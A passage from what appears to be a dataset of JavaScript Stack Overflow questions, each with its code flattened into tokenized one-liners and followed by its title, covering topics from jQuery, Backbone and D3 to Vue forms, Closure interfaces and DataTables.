rollm = 180 - 40 * win - 380 ; document.getElementById ( `` roll '' ) .style = `` margin-top : `` + rollm + `` px `` ; } if ( win == 4 ) { var rollm = 360 ; document.getElementById ( `` roll '' ) .style = `` margin-top : - '' + rollm + `` px `` ; } } body { color : # fff ; } # roll { transition : .5s ease ; } .ticker { width : 0 ; height : 0 ; border-style : solid ; border-width : 15px 0px 15px 26px ; border-color : transparent # fff transparent ; margin : 0 -20px ; transform : translateY ( -75px ) ; } # roll { width : 40px ; height : 360px ; background : # 0077ee ; margin : 0 auto ; } .roll-h { width : 40px ; height : 120px ; margin : 0 auto ; overflow : hidden ; } .shadow { height : 40px ; margin : 0 auto ; transform : translateY ( 40px ) ; } .black , .his-h { width : 40px ; height : 40px ; font-size : 20px ; line-height : 40px ; font-weight : 700 ; text-align : center ; float : left ; } .black { background : black ; } .floatleft { float : left ; } < div style= '' margin:0 auto ; display : inline-block '' > < div class= '' shadow '' > < /div > < div class= '' roll-h '' > < div id= '' roll '' > < div class= '' black '' > 9 < /div > < div class= '' black '' > 0 < /div > < div class= '' black '' > 1 < /div > < div class= '' black '' > 2 < /div > < div class= '' black '' > 3 < /div > < div class= '' black '' > 4 < /div > < div class= '' black '' > 5 < /div > < div class= '' black '' > 6 < /div > < div class= '' black '' > 7 < /div > < div class= '' black '' > 8 < /div > < div class= '' black '' > 9 < /div > < div class= '' black '' > 0 < /div > < /div > < /div > < div class= '' ticker '' > < /div > < /div > < button onClick= '' roll ( ) '' id= '' spin '' > Spin < /button >",How to make a number wheel loop ? "JS : I 'd like to be able to use jQuery 's Deferred object to operate loading data via Backbone Collections and Models . Is there any way I can modify the arguments provided to the done and fail callbacks to include the Model or Collection instance ? I 'm envisioning something like the following : Of course , since filter is returning an array , the done callback is invoked with an array , rather than the enumerated arguments . As far as I can see , pipe can only modify provided arguments , not add . Any suggestions would be appreciated.Edit : This is a very simplified example ; since a closure is created over the original collection , I could just operate on that . However , the use case is that multiple Backbone Views might rely on the same data being fetched , so I 'd like to be able to just supply the jQuery Deferred object to these views , rather than both the Deferred and the collection instance.Another Edit : Posted a solution below , but any other suggestions welcome . var _sync = Backbone.sync ; Backbone.sync = function ( ) { var jqXhr = _sync.apply ( this , arguments ) ; var self = this ; return jqXhr.pipe ( function ( ) { var cbArgs = [ self ] ; cbArgs.push.apply ( cbArgs , arguments ) ; return cbArgs ; } } ... var c = new Backbone.Collection ( ) ; c.url = `` /path/to/resources '' ; c.fetch ( ) .then ( function ( collection , data , textStatus , jqXhr ) { // do stuff with collection } ) ;",Can I use jQuery 's deferred.pipe method to modify arguments supplied to resolved/fail callbacks ? "JS : Here is the main problem I 'm having . I want to set social share buttons to an Aurelia application page.In general , I have to set three meta tags objects : What is the best way to handle this in Aurelia ? Is it possible to do this using the Route object ? head title [ property= '' og : image '' ] [ property= '' og : description '' ]",How to set SEO attributes in aurelia "JS : What does it mean when you import something as multiple ? so for example , This is just an example from react router and the javascript documentation only shows example of one declaration after 'as'It looks like it 's importing BrowserRouter as Router , Route and Link so all three variables referred to the same library . If I am right , why would you ever want to do that ? So is it the same as var Router , Route , Link = require ( 'react-router-dom ' ) .BrowserRouter ( ) ; ? import { BrowserRouter as Router , Route , Link } from 'react-router-dom '",What does 'as ' mean when importing a module ? JS : With the code above i can round to nearest .25 . However i only want it to round up . Whereby : How will that be possible ? var number = 0.08 ; var newNumber = Math.round ( number * 4 ) / 4 //round to nearest .25 0.08 = 0.250.22 = 0.250.25 = 0.250.28 = 0.5,Math round only up quarter "JS : I am new to programming and am trying to make a simple , Html/CSS/Javascript/JQuery Connect Four game . Here iswhat i have so far.Only problem is you ca n't stack tokens on top of each other ! This Connect four game sucks ; ) ! Inside the dropToken ( ) function , I am trying to create a for loop with an if statement to find if the space I am trying to put the token on is white , or else , go up one tr by using the var i counter in the for loop.However , this code makes the program not work . function dropToken ( obj , column ) { for ( var i == 6 ; i > 0 ; i -- ) { if ( $ ( 'table tr : last-child td : nth-child ( ' + column + ' ) ' ) .css ( `` background-color '' ) == `` white '' ) { $ ( 'table tr : last-child td : nth-child ( ' + column + ' ) ' ) .css ( `` background-color '' , playerTurn ) ; } } if ( playerTurn == `` Red '' ) { playerTurn = `` Blue '' obj.style.backgroundColor = `` Blue '' ; } else { playerTurn = `` Red '' obj.style.backgroundColor = `` Red '' ; } }",Connect Four : Help Using JQuery in a function "JS : Is there any advantage , except indicating an explicit conversion , to using a double not operator in JavaScript ? It oft ' seems that these days , people like to check for existence of new APIs using the double not , but I have never , ever read any advantage to it.The one thing that I have read is that it is a concise , obscure way to type cast to boolean , however , when used in this context the object will be auto coerced to boolean anyways since we are checking to see if it is defined.In short , why do people do two boolean operations on top of the engine 's ? if ( ! ! window.File ) // The File API is supported.else // Your browser sucks .",double not ( ! ! ) vs type coercion in JavaScript "JS : In this post , Multiple left-hand assignment with JavaScript , @ Crescent Fresh says JavsScript left-hand assignment is right associative . But the following code seems to me it breaks right associativeness : Can anyone explain why a.x is undefined ? Edit : The snippet above is to test `` right associativeness '' , in real world please do not write similar code . var a = { n : 1 } ; a.x = a = { n : 2 } ; console.log ( a.x ) ; // undefined","Multiple left-hand assignment with JavaScript , really right associative ?" "JS : I have a simple Chrome extension that uses the chrome.storage API to store tasks in a list . Each time the task list is updated , the array is stored to chrome.storage.sync.I have two laptops set up with the Chrome extension . I 'm logged in to the same Google account on both . Sometimes when I update the task list on the first laptop , the second laptop will reflect the update in a matter of seconds . But other times , the second laptop wo n't receive the updates for a long time . It 's very inconsistent - sometimes if I quit Chrome and restart it on the second machine , the updated list will be there.I 'm not getting any console errors on either laptop , and the tasks are saved correctly on the first machine - they 're just not getting transferred to the second laptop.The chrome.storage.sync API has a few limits and I 'm trying to figure out if I 'm breaching one of them . The likeliest one is this : '' The maximum number of set , remove , or clear operations that can be performed each minute , sustained over 10 minutes . Updates that would cause this limit to be exceeded fail immediately and set runtime.lastError . `` The way I read that , is that as long as there are n't more than 10 operations per minute for 10 consecutive minutes ( at least 100 in total ) , the limit would n't be breached . And if I were breaching this limit , I 'd see a console error or the tasks would n't save locally.In general - is there a way to debug problems with Chrome sync ? Is it expected to be flakey ? 10 MAX_SUSTAINED_WRITE_OPERATIONS_PER_MINUTE",How can I troubleshoot chrome.storage.sync ? "JS : I 've stumbled across jQuery.fly ( ) - flyweight pattern performance benchmark and after looking at the testing code and the plugin code itself ( also see below ) , I ca n't work out what use is it ? I 've searched the internet and can not find any useful information about the plugin itself.Is it a more efficient way of looping/iterating over an array rather than using $ ( this ) in .each ? Iterate using jQuery objectIterate using jQuery.fly ( ) almost 2x faster in Firefox 4.0.1almost 3x faster in Chrome 12.fly a.each ( function ( ) { $ ( this ) ; } ) ; a.each ( function ( ) { $ .fly ( this ) ; } ) ; ( function ( $ ) { var fly = $ ( ) , push = Array.prototype.push ; $ .fly = function ( elem ) { var len = fly.length , i ; if ( $ .isArray ( elem ) ) { fly.length = 0 ; i = push.apply ( fly , elem ) ; } else { if ( elem instanceof $ ) { return elem ; } if ( typeof elem == `` string '' ) { throw `` use jQuery ( ) '' ; } fly [ 0 ] = elem ; fly.length = i = 1 ; } // remove orphaned references while ( i < len ) { delete fly [ i++ ] ; } return fly ; } ; } ) ( jQuery ) ;",What is jQuery $ .fly plugin used for ? "JS : I 'm getting positions every 100ms and apply them to the DOM like this : So the elements get a smooth animation to the new positions in the 100ms it takes to get the next positions . This works fine.But I have different elements in the DOM that depend on the position of the first elements . They are rendered with the same position data , but in a different module of the software.My problem is , that this transition interpolates data that is not available to the other modules . The elements of these other modules seem to deliver `` optically wrong '' visualizations , because they 're based on the raw data.Example : A point moves into a square and the square gets highlighted , but the position of the point is interpolated and the position the square uses to check if it should be highlighted is not . So the square gets highlighted even if the point is n't inside it.How do I get around this ? Can I grab those interpolated values somewhere ? const div = d3.select ( container ) .selectAll ( 'div ' ) .data ( positions ) div.enter ( ) .append ( 'div ' ) div.transition ( ) .duration ( 100 ) .style ( { top : d = > d.y , left : d = > d.x , } ) div.exit ( ) .remove ( )",Getting transition values in D3 "JS : How can I test if an JavaScript object is an implementation of an interface using the Google Closure inheritance mechanism ? I could not find any hint of my.Animal in the objects created via new my.Dog ( ) and object instanceof my.Animal did n't work . The only information about the interface are compiler errors when forgetting to implement methods in the child class.One way I found is to approximately test for the property of the interfaces , though that 's bad in so many aspects : /** * @ interface */my.Animal = function ( ) { } ; /** * Does something . * @ return { string } */my.Animal.prototype.doSomething ; /** * @ constructor * @ implements { my.Animal } */my.Dog = function ( ) { } ; /** @ inheritDoc */my.Dog.prototype.doSomething ( ) = function { return `` something '' ; } var dog = new my.Dog ( ) ; console.log ( dog instanceof my.Animal ) ; // returns false console.log ( ! ! dog.doSomething ) ; // returns true",Test if object is implementation of interface in Google Closure class framework "JS : I 'm struggling to understand the difference of the following 2 sets of code . The original code is from the famous Ninja tutorial and I have simplified a bit for myself . Question : I think I understand how CodeA works . Ninja.prototype.swung = false is assigning a new property into function Ninja ( ) , and ninjiaA.swung evaluates to false because of that . However , in CodeB , when we declare the function Ninja ( ) with this.swung = true in the beginning , the later assignment of Ninja.prototype.swung = false does not take an effect , and ninjaA.swung remains to be evaluated to true . I 'm failing to understand why this later assignment does not work in CodeB . Could somebody please enlighten me on this ? CodeA : CodeB : Thanks a lot in advance . function Ninja ( ) { } Ninja.prototype.swung = false ; var ninjaA = new Ninja ( ) ; ninjaA.swung ; //evaluates to false function Ninja ( ) { this.swung = true ; } Ninja.prototype.swung = false ; //I 'm expecting this changes swung to false , //but it doesn't.var ninjaA = new Ninja ( ) ; ninjaA.swung ; //evaluates to true",JavaScript : property assignment through prototype "JS : I have a test.js script which defines a class App and which is loaded from an HTML file , and all works.When I create a testBundle.js bundle from test.js , using browserify or webpack , the class App inside testBundle.js seems no more defined.How should I write the code or what options should I give to browserify to get App defined and use it from HTML as before , but from the bundle ? . The error I get after bundling is : The html file is the following : test.js : the command to build the bundle : It seems to me , looking inside the bundle , that App is actually private.testBundle.jsAll this using Javascript from the browser , ES6 . Uncaught ReferenceError : App is not defined < html > < script src= '' testBundle.js '' > < /script > < script > var app = new App ( ) ; < /script > < /html > 'use strict ' ; class App { constructor ( ) { console.log ( `` App ctor '' ) } } browserify -t [ babelify -- presets [ es2015 ] ] test.js -o testBundle.js ( function e ( t , n , r ) { function s ( o , u ) { if ( ! n [ o ] ) { if ( ! t [ o ] ) { var a=typeof require== '' function '' & & require ; if ( ! u & & a ) return a ( o , ! 0 ) ; if ( i ) return i ( o , ! 0 ) ; var f=new Error ( `` Can not find module ' '' +o+ '' ' '' ) ; throw f.code= '' MODULE_NOT_FOUND '' , f } var l=n [ o ] = { exports : { } } ; t [ o ] [ 0 ] .call ( l.exports , function ( e ) { var n=t [ o ] [ 1 ] [ e ] ; return s ( n ? n : e ) } , l , l.exports , e , t , n , r ) } return n [ o ] .exports } var i=typeof require== '' function '' & & require ; for ( var o=0 ; o < r.length ; o++ ) s ( r [ o ] ) ; return s } ) ( { 1 : [ function ( require , module , exports ) { 'use strict ' ; function _classCallCheck ( instance , Constructor ) { if ( ! ( instance instanceof Constructor ) ) { throw new TypeError ( `` Can not call a class as a function '' ) ; } } var App = function App ( ) { _classCallCheck ( this , App ) ; console.log ( `` App ctor '' ) ; } ; } , { } ] } , { } , [ 1 ] ) ;",Accessing `` public '' members after bundling with browserify or webpack "JS : I 'm so confused how I should submit and handle edit forms in vuejs.How I 'm doing it now is I have a component called TreeForm.vue : And in the parent component I do : And in my vuex I do : But I feel like This is not the correct way to do it specially because I 'm not using < v-form > or < form > tags . I also have n't incorporated validation yet , I 'm thinking of using vuelidate . So please give me the best practice for submitting and handling edit form while validation is done by vuelidate . < template > < div > < v-text-field v-model= '' cloned_tree.root '' / > < v-text-field v-model= '' cloned_tree.root '' / > < v-file-input type= '' number '' v-model= '' cloned_tree.fruits '' / > < v-btn @ click= '' $ emit ( 'save ' , { idx : tree_idx , tree : cloned_tree } ) '' > Save < /v-btn > < /div > < /template > < script > export default { props : { tree_idx : Number } , data ( ) { return { cloned_tree : JSON.parse ( JSON.stringify ( this. $ store.state.trees [ this.tree_idx ] ) ) , } ; } , } ; < /script > < template > < div > ... < TreeForm tree_idx= '' 0 '' @ save= '' submitTreeForm '' / > ... < /div > < /template > < script > import { mapActions } from 'vuex ' ; export default { methods : { ... mapActions ( [ 'submitTreeForm ' ] ) , } , } ; < /script > import Vue from 'vue ' ; import Vuex from 'vuex ' ; import axios from 'axios ' ; const api = axios.create ( { baseURL : 'https : //api.mydomain.com/api ' , timeout : 10000 , withCredentials : true , } ) ; Vue.use ( Vuex ) ; export default new Vuex.Store ( { strict : process.env.NODE_ENV ! == 'production ' , state : { trees : [ { root : 'hello ' , imageFile : require ( 'some/picture ' ) , fruits : 5 , } , ] , } , mutations : { updateTree ( state , payload ) { state.trees [ payload.idx ] = payload.tree ; } , } , actions : { submitVideoForm ( { commit } , payload ) { api .post ( '/trees/update/ ' , payload ) .then ( response = > { if ( response.data.success == 1 ) { commit ( 'updateTree ' , payload ) ; } else { console.log ( response.data.success ) ; } } ) .catch ( function ( error ) { console.log ( error ) ; } ) ; } , } , } ) ;","submitting forms in vuejs , should I use the form tag ?" "JS : The example below shows a class that extends a goog.ui.Component . Should the properties of a class be defined outside of the constructor as shown below , or should they be defined inlined in the constructor only ? Is it ok to initialize properties to null ? goog.provide ( `` org.something.SomeClass '' ) ; /** * @ type { Object } * @ private **/org.something.SomeClass.prototype.anObject_ = null ; /** * @ type { Element } * @ private **/org.something.SomeClass.prototype.anElement_ = null ; /** * @ param { goog.dom.DomHelper= } opt_domHelper * @ constructor * @ extends { goog.ui.Component } */org.something.SomeClass = function ( ) { goog.ui.Component.call ( this , opt_domHelper ) ; this.anObject_ = { } ; this.anElement_ = new Element ( ) ; } ; goog.inherits ( org.something.SomeClass , goog.ui.Component ) ;",What is the preferred way to define properties for Google Closure classes ? "JS : I have a function that returns 5 objects , and I would like to declare 4 of them using const and 1 of them using let . If I wanted all objects declared using const I could do : My current workaround is : But I 'm wondering if destructuring assignment allows you to do this more elegantly.No mention of this question on MDN or on stackoverflow , as far as I can see . const { thing1 , thing2 , thing3 , thing4 , thing5 } = yield getResults ( ) ; const results = yield getResults ( ) ; const thing1 = results.thing1 ; const thing2 = results.thing2 ; const thing3 = results.thing3 ; const thing4 = results.thing4 ; let thing5 = results.thing5 ;",ES6 destructuring assignment with more than one variable type "JS : Looking for help implementing that little blue dot as seen on Stacks new Documentation site , it 's perfect for animating a dashboard I 'm building that shows service health/metrics . I grabbed html/css using Chrome 's inspector , but I 'm terrible at this stuff , I ca n't even get a dot , much less a blue one that glows ; -Dhttps : //jsfiddle.net/raffinyc/3trup2c1/ .help-bubble : after { content : `` '' ; background-color : # 3af ; width : 12px ; height : 12px ; border-radius : 50 % ; position : absolute ; display : block ; top : 1px ; left : 1px ; } < span class= '' help-bubble-outer-dot '' > < span class= '' help-bubble-inner-dot '' > < /span > < /span >",How to create glowing effect with HTML 5 "JS : In vuejs , is there a way to set the same content for multiple slots without copy pasting ? So this : Could be written that way : Thanks a lot . < base-layout > < template slot= '' option '' > < span : class= '' 'flag-icon- ' props.option.toLowerCase ( ) '' / > { { countriesByCode [ props.option ] } } < /template > < template slot= '' singleLabel '' > < span : class= '' 'flag-icon- ' props.option.toLowerCase ( ) '' / > { { countriesByCode [ props.option ] } } < /template > < /base-layout > < base-layout > < template slot= '' [ 'option ' , 'singleLabel ' ] '' > < span : class= '' 'flag-icon- ' props.option.toLowerCase ( ) '' / > { { countriesByCode [ props.option ] } } < /template > < /base-layout >",Same slot content for multiple template slots "JS : I understand that map is not called on undefined indexes on arrays and I appreciate that an undefined index is different from an array index explicitly assigned the 'undefined ' value ( it is , is n't it ? ) . Yet , how is one supposed to distinguish between holes in an array and undefined values ? The below code : foo.js ... produces when running : ... similar results are to be had when replacing map with forEach . var arr = [ , ,undefined , , , ,3 , ,,4 ] ; console.log ( `` A hole the same as undefined ? `` + ( arr [ 0 ] ===undefined ? `` yes '' : '' no '' ) ) ; var _ignored = arr.map ( function ( x ) { console.log ( `` f called on [ `` +x+ '' ] '' ) ; } ) ; $ node foo.js A hole the same as undefined ? yesf called on [ undefined ] f called on [ 3 ] f called on [ 4 ]",holes in arrays vs. undefined and the map function "JS : I 'm using : in my html , then let jquery do : Then , the console says that : After I change the id , it works all right . So , is there any reserved id ? < span id= '' nodeName '' > < /span > $ ( `` # nodeName '' ) .html ( `` someString '' ) ; Uncaught TypeError : Object # < HTMLSpanElement > has no method 'toLowerCase '",Is id= '' nodeName '' reserved in html5 ? "JS : I found a weird problem : whatever parameters passed to the hasFeature function , it always returns true.Can anyone pls tell me why the hasFeature ( ) function does not work properly ? console.log ( document.implementation.hasFeature ( 'HTML ' , ' 2.0 ' ) ) ; //return trueconsole.log ( document.implementation.hasFeature ( 'fake ' , ' 9.0 ' ) ) ; //return true",Why document.implementation.hasFeature ( ) always return true ? "JS : I have this really bizarre issue where I have a forloop that is supposed to replace all divs with the class of `` original '' to text inputs with a class of `` new '' . When I run the loop , it only replaces every-other div with an input , but if I run the loop to just replace the class of the div and not change the tag to input , it does every single div , and does n't only do every-other.Here is my loop code , and a link to the live version : live version here function divChange ( ) { var divs = document.getElementsByTagName ( `` div '' ) ; for ( var i=0 ; i < divs.length ; i++ ) { if ( divs [ i ] .className == 'original ' ) { var textInput = document.createElement ( 'input ' ) ; textInput.className = 'new ' ; textInput.type = 'text ' ; textInput.value = divs [ i ] .innerHTML ; var parent = divs [ i ] .parentNode ; parent.replaceChild ( textInput , divs [ i ] ) ; } } }",Javascript Replace Child/Loop issue "JS : I 'm using Laravel to implement templates based on a main page . Different pages have different JS scripts , so I created a template to import JS scripts : I 'm also using AJAX to load only the content without refreshing the page.The function ajax will be used to load any url into the div `` content '' . However , I also need to load the scripts so the page works properly . Data is an array with three fields:0 is Header html1 is Content html2 are the dynamically added scriptsThe problem is whenever I 'm loading the page , I get this error : Synchronous XMLHttpRequest on the main thread is deprecated because of its detrimental effects to the end user 's experience . For more help , check https : //xhr.spec.whatwg.org/.I do n't want script loading to affect user experience . Has to be async.What I already tried : jQuery.getScriptThis solution requires me to move all the scripts to a separate JS file . This would probably solve it , but I would rather keep them all in the respective page.AjaxPreFilter $ .ajaxPrefilter with options.async = true makes the scripts load after the page thus making some properties undefined and not working . < ! -- jQuery 2.1.3 -- > < script src= '' { { URL : :asset ( 'plugins/jQuery/jQuery-2.1.4.min.js ' ) } } '' > < /script > < ! -- Bootstrap 3.3.2 JS -- > < script src= '' { { URL : :asset ( 'js/bootstrap.min.js ' ) } } '' type= '' text/javascript '' > < /script > < ! -- Ajax Page Loading -- > < script > function ajax ( url ) { $ ( '.main-content ' ) .fadeOut ( 100 ) ; //hide the page $ ( '.spinner ' ) .show ( ) ; // show a spinner $ .ajax ( url , { async : true , success : function ( data ) { $ ( ' # header ' ) .html ( data [ 0 ] ) ; //append received header to header $ ( ' # content ' ) .hide ( ) .html ( data [ 1 ] ) .fadeIn ( 500 ) ; //show the page again $ ( 'body ' ) .append ( data [ 2 ] ) ; //append scripts to body $ ( '.spinner ' ) .hide ( ) ; } , } ) ; } < /script > @ yield ( 'extra-scripts ' ) < -- - /* HERE is where the scripts will be */",Loading/Appending JS script asynchronously "JS : I am working on a Rails App using Asset pipeline . The development.rb has the following : In Dev environment , the assets are not bundled up and each is served up by Rails individually . At this point , the number of assets that are getting served individually are more than 50 . Hence , full page reloads are extremely slow.I would like to concatenate them atleast in a few assets for faster loading time on dev environment but doing that , I loose the ability to debug/see them individually in Chrome dev tools . Example : http : //d.pr/i/ZFgeThere are two ways to solve this in my knowledge , after you do : and start serving them as concatenated assets.Old Hacky Way : @ sourceUrl trick.New Way : sourceMaps.Is there a guide on how I can enable them on a rails app ? I dont use CoffeeScript so https : //github.com/markbates/coffee-rails-source-maps is not helpful . Most Google Searches lead to that.I am looking for a solution for native JS . config.assets.compress = false config.assets.compile = true config.assets.debug = true config.assets.debug = false",Rails 3.2 Dev environment sourceMaps support for JavaScript "JS : I 've seen 3 different ways of throwing an error in JavaScript : What is the difference between them ? Note : I am aware of similar questions ( 1,2,3 , etc ) . None of them cover all three cases . throw 'message ' ; throw Error ( 'message ' ) ; throw new Error ( 'message ' ) ;","What is the difference between ` throw 'foo ' ` , ` throw Error ( 'foo ' ) ` , ` throw new Error ( 'foo ' ) ` ?" "JS : I ran into a scenario where JavaScript behaves in a way that is somewhat baffling to me.Let 's say we have an object with two keys foo & bar.Then , I have an array of strings , in this case one 'foo ' I would expect the following : BUT , this is what happens : Why does JavaScript convert [ 'foo ' ] - > 'foo ' when used as a key ? Does anyone out there know the reason ? How can this be prevented ? a = { foo : 1 , bar : 2 } b = [ 'foo ' ] a [ b ] == undefineda [ b [ 0 ] ] == 1 a [ b ] == 1a [ b [ 0 ] ] == 1 let a = { foo : 1 , bar : 2 } let b = [ 'foo ' ] console.log ( a [ b ] == 1 ) // expected a [ b ] to be undefinedconsole.log ( a [ b [ 0 ] ] == 1 ) // expected a [ b ] to be 1","Why does JavaScript convert an array of one string to a string , when used as an object key ?" "JS : I am trying to log date/time into the javascript console . The error message I am getting is as follows and was generated by the code below.ETA : the code does work . The dates are going to the console . It is just the Error Message remainsMessage : ERROR in src/app/kdc/services/customers.api.service.ts ( 60,9 ) : errorTS2591 : Can not find name 'require ' . Do you need to install typedefinitions for node ? Try npm i @ types/node and then add node tothe types field in your tsconfig.NOTE : I have already made changes to the tsconfig.json file and have also done npm i @ types/node and npm i @ types/node -- save When running npm result was 3 high-security vulnerabilities ( see below ) What can I do at this point ? ` customer.api.service.tsETAI found the message here Can not find name 'require ' after upgrading to Angular4 and made the change to mytsconfig.app.json file - it may be overkill , but it worked ... getCustomers ( ) : Observable < Customers [ ] > { return this.httpclient.get < Customers [ ] > ( this._url ) .pipe ( catchError ( this.handleError ) ) ; } handleError ( error : HttpErrorResponse ) { let rval = Math.random ( ) .toString ( 36 ) .substring ( 7 ) .toUpperCase ( ) ; require ( 'log-timestamp ' ) ; console.error ( 'MSG NO : ' + rval ) ; console.error ( error ) ; return throwError ( rval + `` < - > `` + error.name + `` < - > `` + error.statusText ) ; } `` compilerOptions '' : { `` outDir '' : `` ./out-tsc/app '' , `` types '' : [ `` node '' ] , `` typeRoots '' : [ `` ../node_modules/ @ types '' ] } ,",Angular Material ( 8 ) S2591 : Can not find name 'require ' "JS : Angular in the docs says the following : I 'm curious about the syntax . As I understand , this part : defines the path to load a module . But what is this # AdminModule ? I 'm reading this article , and there is the following path : so , as you can see , there is nothing with hash . { path : 'admin ' , loadChildren : 'app/admin/admin.module # AdminModule ' , } , app/admin/admin.module loadChildren : 'contacts.bundle.js ' ,",loadChildren syntax - what is hash part "JS : **EDIT**I am currently creating a drag and drop spelling game where the user drags letters onto the highlighted word in order to spell it and reveal the image behind.When a word is highlighted by the style `` .spellword '' , it indicates to the user to spell that word . When the user goes to drag a letter into that area he/she can drag the letter anywhere in the 3 letter space , but I need them to be dropped from `` left '' to `` right '' to ensure the word is spelt in the correct order.Basically when a letter is dropped onto the word I need it to snap to the left ( first letter of the word ) and then the next letter dropped snaps onto the next letter of the word etc ... so it is spelt in the correct orderWhat can I do to ensure this ? The script for the draggable and droppable is ... HTML for draggables is ... . $ ( '.drag ' ) .draggable ( { helper : 'clone ' , snap : '.drop ' , grid : [ 62 , 62 ] , revert : 'invalid ' , snapMode : 'corner ' , start : function ( ) { var validDrop = $ ( '.drop-box.spellword ' ) ; validDrop.addClass ( 'drop ' ) ; makeDroppables ( ) ; } } ) ; function makeDroppables ( ) { $ ( '.drop ' ) .droppable ( { drop : function ( event , ui ) { word = $ ( this ) .data ( 'word ' ) ; guesses [ word ] .push ( $ ( ui.draggable ) .attr ( 'data-letter ' ) ) ; if ( $ ( this ) .text ( ) == $ ( ui.draggable ) .text ( ) .trim ( ) ) { $ ( this ) .addClass ( 'wordglow3 ' ) ; } else { $ ( this ) .addClass ( 'wordglow ' ) ; } if ( guesses [ word ] .length == 3 ) { if ( guesses [ word ] .join ( `` ) == word ) { $ ( 'td [ data-word= ' + word + ' ] ' ) .addClass ( 'wordglow2 ' ) ; } else { $ ( 'td [ data-word= ' + word + ' ] ' ) .addClass ( `` wordglow4 '' ) ; guesses [ word ] .splice ( 0 , guesses [ word ] .length ) ; } } } , activate : function ( event , ui ) { word = $ ( this ) .data ( 'word ' ) ; // try to remove the class $ ( 'td [ data-word= ' + word + ' ] ' ) .removeClass ( 'wordglow ' ) .removeClass ( 'wordglow4 ' ) .removeClass ( 'wordglow3 ' ) ; } } ) ; } < div class= '' squares '' > < div id= '' drag1 '' class= '' drag ui-widget-content box-style2 '' tabindex= '' 0 '' data-letter= '' a '' > < p > a < /p > < /div > < div id= '' drag2 '' class= '' drag ui-widget-content box-style '' tabindex= '' 0 '' data-letter= '' b '' > < p > b < /p > < /div > < div id= '' drag3 '' class= '' drag ui-widget-content box-style '' tabindex= '' 0 '' data-letter= '' c '' > < p > c < /p > < /div > < div id= '' drag4 '' class= '' drag ui-widget-content box-style '' tabindex= '' 0 '' data-letter= '' d '' > < p > d < /p > < /div > < div id= '' drag5 '' class= '' drag ui-widget-content box-style2 '' tabindex= '' 0 '' data-letter= '' e '' > < p > e < /p > < /div > < div id= '' drag6 '' class= '' drag ui-widget-content box-style '' tabindex= '' 0 '' data-letter= '' f '' > < p > f < /p > < /div > < div id= '' drag7 '' class= '' drag ui-widget-content box-style '' tabindex= '' 0 '' data-letter= '' g '' > < p > g < /p > < /div > < div id= '' drag8 '' class= '' drag ui-widget-content box-style '' tabindex= '' 0 '' data-letter= '' h '' > < p > h < /p > < /div > < div id= '' drag9 '' class= '' drag ui-widget-content box-style2 '' tabindex= '' 0 '' data-letter= '' i '' > < p > i < /p > < /div > < div id= '' drag10 '' class= '' drag ui-widget-content box-style '' tabindex= '' 0 '' data-letter= '' j '' > < p > j < /p > < /div > < div id= '' drag11 '' class= '' drag ui-widget-content box-style '' tabindex= '' 0 '' data-letter= '' k '' > < p > k < /p > < /div > < div id= '' drag12 '' class= '' drag ui-widget-content box-style '' tabindex= '' 0 '' data-letter= '' l '' > < p > l < /p > < /div > < div id= '' drag13 '' class= '' drag ui-widget-content box-style '' tabindex= '' 0 '' data-letter= '' m '' > < p > m < /p > < /div > < div id= '' drag14 '' class= '' drag ui-widget-content box-style '' tabindex= '' 0 '' data-letter= '' n '' > < p > n < /p > < /div > < div id= '' drag15 '' class= '' drag ui-widget-content box-style2 '' tabindex= '' 0 '' data-letter= '' o '' > < p > o < /p > < /div > < div id= '' drag16 '' class= '' drag ui-widget-content box-style '' tabindex= '' 0 '' data-letter= '' p '' > < p > p < /p > < /div > < div id= '' drag17 '' class= '' drag ui-widget-content box-style '' tabindex= '' 0 '' data-letter= '' r '' > < p > r < /p > < /div > < div id= '' drag18 '' class= '' drag ui-widget-content box-style '' tabindex= '' 0 '' data-letter= '' s '' > < p > s < /p > < /div > < div id= '' drag19 '' class= '' drag ui-widget-content box-style '' tabindex= '' 0 '' data-letter= '' t '' > < p > t < /p > < /div > < div id= '' drag20 '' class= '' drag ui-widget-content box-style2 '' tabindex= '' 0 '' data-letter= '' u '' > < p > u < /p > < /div > < /div >",making draggable snap left when dropped "JS : If you have multiple jQuery UI dialog boxes open on a page with enough content to force a scroll bar , clicking between dialogs causes the content of the one that was active to scroll to the top.You can see this JSFiddle for an example ( one box is behind the other ) : http : //jsfiddle.net/kRAd4/If you scroll them both down a little and then click from one box to the other you 'll see it happen.Is there any way to stop this ? Here is the code used on the JSFiddle site , it 's simple : HTML : Javascript : UPDATE : I 've tried adding return false to both the mouseDown and focus dialog options , and it made no difference . < div class= '' hi '' > Here < br / > Is < br / > A < br / > Lot < br / > Of < br / > Text < br / > Here < br / > Is < br / > A < br / > Lot < br / > Of < br / > Text < br / > Here < br / > Is < br / > A < br / > Lot < br / > Of < br / > Text < br / > Here < br / > Is < br / > A < br / > Lot < br / > Of < br / > Text < br / > < /div > < div class= '' hi '' > Here < br / > Is < br / > A < br / > Lot < br / > Of < br / > Text < br / > Here < br / > Is < br / > A < br / > Lot < br / > Of < br / > Text < br / > Here < br / > Is < br / > A < br / > Lot < br / > Of < br / > Text < br / > Here < br / > Is < br / > A < br / > Lot < br / > Of < br / > Text < br / > < /div > $ ( `` .hi '' ) .dialog ( { height : 200 } ) ;",jQuery UI multiple dialog box contents jumping to the top "JS : I 'm trying to adapt this jQuery DataTables example to a d3 chart that I 've been developing.Here 's a link to the semi-working Plunker : http : //plnkr.co/edit/kXvBjNsCbblC3ykkuPsL ? p=previewThe problem is that some of the values are showing up in the table , while others are not ( in particular , the values that come from an array within an array ) .Oddly enough , the error message I 'm getting , Can not read property ' 0 ' of undefined , refers to line 1074 , on which recordCol is defined . This is strange because the values for recordCol and stateName both show up just fine in the DataTable . Also strange is that all of the column headers do appear , even for the nested array ( though not their values ) .Here 's the problematic code : As you 'll see in my semi-working Plunker , I 've been beating a dead horse in console.log , trying to troubleshoot the error messages I 've been getting , the other of which is this.In sum , what I 'm trying to do is get all the values for x and y to appear in the DataTable alongside state and record -- as well as relabel the column headers that currently read x and y as as date and value , respectively.In advance , thanks very much for any assistance you 're able to offer.Update : The following changes , I 've discovered , make the full subarray , containing all the x and y values , appear in every row of the DataTable : Here 's an updated Plunker . The search for a solution continues.Update 2 : The following changes make the x and y value appear as Sun May 01 2011 00:00:00 GMT-0400 ( Eastern Daylight Time ) and 2761 , but the same in every row : Another updated Plunker . Obviously , this is wrong ; still searching for a solution.Update 3 : Still searching for a solution , but in this third updated Plunker , I discovered how to take all of the values contained in the subarray of the parent array 's first row , and ( incorrectly ) map them onto all of the rows of the parent array . Here 's an illustration of what 's going wrong : Is anyone able to demonstrate a 